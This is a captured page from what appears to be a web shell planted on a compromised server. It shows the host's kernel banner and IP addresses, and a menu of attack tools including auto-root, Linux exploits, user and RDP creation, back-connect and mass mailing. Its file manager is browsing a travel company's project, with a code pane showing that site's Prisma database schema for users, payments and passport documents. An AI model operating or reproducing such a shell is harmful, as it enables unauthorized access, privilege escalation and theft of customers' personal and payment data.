Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.142
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltravel.net /
prisma /
[ HOME SHELL ]
Name
Size
Permission
Action
migrations
[ DIR ]
drwxrwxrwx
schema.prisma
8.58
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : schema.prisma
// Signal Travel Concierge — database schema // PostgreSQL via Prisma. Run: npx prisma migrate dev generator client { provider = "prisma-client-js" } datasource db { provider = "mysql" } enum Role { CUSTOMER AGENT GUIDE DRIVER ADMIN SUPERADMIN } enum MembershipTier { SILVER GOLD OBSIDIAN } enum BookingStatus { DRAFT PENDING DEPOSIT_PAID CONFIRMED COMPLETED CANCELLED REFUNDED } enum PaymentMethod { CARD APPLE_PAY GOOGLE_PAY PAYPAL BANK_TRANSFER CRYPTO GIFT_CARD } enum PaymentStatus { PENDING AUTHORIZED CAPTURED PARTIALLY_REFUNDED REFUNDED FAILED } model User { id String @id @default(cuid()) email String @unique phone String? name String passwordHash String? role Role @default(CUSTOMER) tier MembershipTier @default(SILVER) loyaltyPoints Int @default(0) twoFactorSecret String? locale String @default("en") currency String @default("USD") darkMode Boolean @default(true) createdAt DateTime @default(now()) updatedAt DateTime @updatedAt bookings Booking[] wishlist WishlistItem[] reviews Review[] documents TravelDocument[] notifications Notification[] tickets SupportTicket[] referralsMade Referral[] @relation("Referrer") referredBy Referral[] @relation("Referred") } model Destination { id String @id @default(cuid()) slug String @unique name String country String region String tagline String description String heroImage String gallery Json lat Float lng Float priceFrom Decimal @db.Decimal(10, 2) currency String language String visaInfo String safetyScore Float rating Float @default(4.8) reviewCount Int @default(0) bestSeason String timezone String tags Json published Boolean @default(true) createdAt DateTime @default(now()) updatedAt DateTime @updatedAt tours Tour[] hotels Hotel[] bookings Booking[] wishlist WishlistItem[] reviews Review[] } model Hotel { id String @id @default(cuid()) name String style String rating Int priceNight Decimal @db.Decimal(10, 2) destination Destination @relation(fields: [destinationId], references: [id]) destinationId String rooms Room[] } model Room { id String @id @default(cuid()) hotel Hotel @relation(fields: [hotelId], references: [id]) hotelId String name String capacity Int priceNight Decimal @db.Decimal(10, 2) availability Availability[] } model Availability { id String @id @default(cuid()) room Room @relation(fields: [roomId], references: [id]) roomId String date DateTime @db.Date count Int price Decimal @db.Decimal(10, 2) // dynamic pricing snapshot @@unique([roomId, date]) } model Tour { id String @id @default(cuid()) slug String @unique title String summary String days Int priceFrom Decimal @db.Decimal(10, 2) destination Destination? @relation(fields: [destinationId], references: [id]) destinationId String? start String @default("") end String @default("") stops Int @default(0) countries Int @default(1) region String @default("") category String @default("Discovery") image String @default("") rating Float @default(4.8) published Boolean @default(true) createdAt DateTime @default(now()) updatedAt DateTime @updatedAt bookings Booking[] } model Booking { id String @id @default(cuid()) reference String @unique user User @relation(fields: [userId], references: [id]) userId String destination Destination? @relation(fields: [destinationId], references: [id]) destinationId String? tour Tour? @relation(fields: [tourId], references: [id]) tourId String? status BookingStatus @default(PENDING) departure DateTime nights Int adults Int children Int @default(0) addons Json @default("[]") notes String? subtotal Decimal @db.Decimal(12, 2) discount Decimal @default(0) @db.Decimal(12, 2) total Decimal @db.Decimal(12, 2) coupon Coupon? @relation(fields: [couponId], references: [id]) couponId String? payments Payment[] createdAt DateTime @default(now()) updatedAt DateTime @updatedAt @@index([userId, status]) } model Payment { id String @id @default(cuid()) booking Booking @relation(fields: [bookingId], references: [id]) bookingId String method PaymentMethod status PaymentStatus @default(PENDING) amount Decimal @db.Decimal(12, 2) currency String @default("USD") stripeIntentId String? @unique installment Int? // 1-based installment number, null = full payment createdAt DateTime @default(now()) } model Coupon { id String @id @default(cuid()) code String @unique percentOff Int? amountOff Decimal? @db.Decimal(10, 2) maxUses Int? usedCount Int @default(0) expiresAt DateTime? active Boolean @default(true) bookings Booking[] } model GiftCard { id String @id @default(cuid()) code String @unique balance Decimal @db.Decimal(10, 2) currency String @default("USD") expiresAt DateTime? } model WishlistItem { id String @id @default(cuid()) user User @relation(fields: [userId], references: [id]) userId String destination Destination @relation(fields: [destinationId], references: [id]) destinationId String createdAt DateTime @default(now()) @@unique([userId, destinationId]) } model Review { id String @id @default(cuid()) user User @relation(fields: [userId], references: [id]) userId String destination Destination @relation(fields: [destinationId], references: [id]) destinationId String rating Int title String body String approved Boolean @default(false) createdAt DateTime @default(now()) } model TravelDocument { id String @id @default(cuid()) user User @relation(fields: [userId], references: [id]) userId String kind String // passport | visa | insurance | itinerary | invoice name String url String // encrypted object storage / Cloudinary createdAt DateTime @default(now()) } model Notification { id String @id @default(cuid()) user User @relation(fields: [userId], references: [id]) userId String title String body String channel String // push | email | sms | whatsapp readAt DateTime? createdAt DateTime @default(now()) @@index([userId, readAt]) } model SupportTicket { id String @id @default(cuid()) user User @relation(fields: [userId], references: [id]) userId String subject String status String @default("open") priority String @default("normal") messages Json @default("[]") createdAt DateTime @default(now()) updatedAt DateTime @updatedAt } model Referral { id String @id @default(cuid()) referrer User @relation("Referrer", fields: [referrerId], references: [id]) referrerId String referred User @relation("Referred", fields: [referredId], references: [id]) referredId String rewardedAt DateTime? createdAt DateTime @default(now()) } model NewsletterSubscriber { id String @id @default(cuid()) email String @unique createdAt DateTime @default(now()) } model AuditLog { id String @id @default(cuid()) actorId String? action String entity String entityId String? meta Json? createdAt DateTime @default(now()) @@index([entity, createdAt]) } /// Versioned operational CMS/configuration state. This keeps the existing /// settings, legal-content, support and audit interfaces transactional while /// storing them in PostgreSQL instead of the local filesystem. model SiteState { id String @id value Json updatedAt DateTime @updatedAt }
Close